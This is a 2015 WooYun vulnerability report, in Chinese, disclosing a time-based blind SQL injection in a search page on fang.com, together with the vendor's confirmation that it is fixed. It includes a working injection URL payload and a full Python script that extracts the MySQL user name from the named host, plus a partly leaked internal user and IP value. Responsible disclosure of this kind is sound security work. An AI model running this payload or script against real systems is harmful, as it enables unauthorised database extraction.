当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094603

漏洞标题:搜房网某站点MySQL盲注(附验证脚本)

相关厂商:搜房网

漏洞作者: lijiejie

提交时间:2015-01-29 18:06

修复时间:2015-03-15 18:08

公开时间:2015-03-15 18:08

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-29: 细节已通知厂商并且等待厂商处理中
2015-01-29: 厂商已经确认,细节仅向厂商公开
2015-02-08: 细节向核心白帽子及相关领域专家公开
2015-02-18: 细节向普通白帽子公开
2015-02-28: 细节向实习白帽子公开
2015-03-15: 细节向公众公开

简要描述:

搜房网某站点MySQL盲注(附验证脚本)

详细说明:

注射点:

http://search.fang.com/bbs/search.jsp?pq=&q=a/*'%2b(select(0)from(select(if(1=2,sleep(2),0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&sl=forum&sr=


参数q可注入,MySQL time blind.

漏洞证明:

fang.com.png


猜解user()部分,得到

search_admind192.168..72


python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': 'JSESSIONID=123456',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1, 27):
for payload in payloads:
timeout_count = 0
for j in range(2):
print '.',
conn = httplib.HTTPConnection('search.fang.com', timeout=60)
s = "ascii(mid(user(),%s,1))=%s" % (i, ord(payload))
url = "/bbs/search.jsp?pq=&q=a/*'%2b(select(0)from(select(if(" + s + ",sleep(5),0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&sl=forum&sr="
conn.request(method='GET',
url=url,
headers=headers)
start_time = time.time()
conn.getresponse().read()
if time.time() - start_time > 5:
timeout_count += 1
print '*',
else:
break
if timeout_count == 2:
user += payload
print '\n[in progress]', user
break
print '\nMySQL user is', user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-29 20:09

厂商回复:

感谢您对搜房安全的关注,您反馈的问题已经修复。

最新状态:

暂无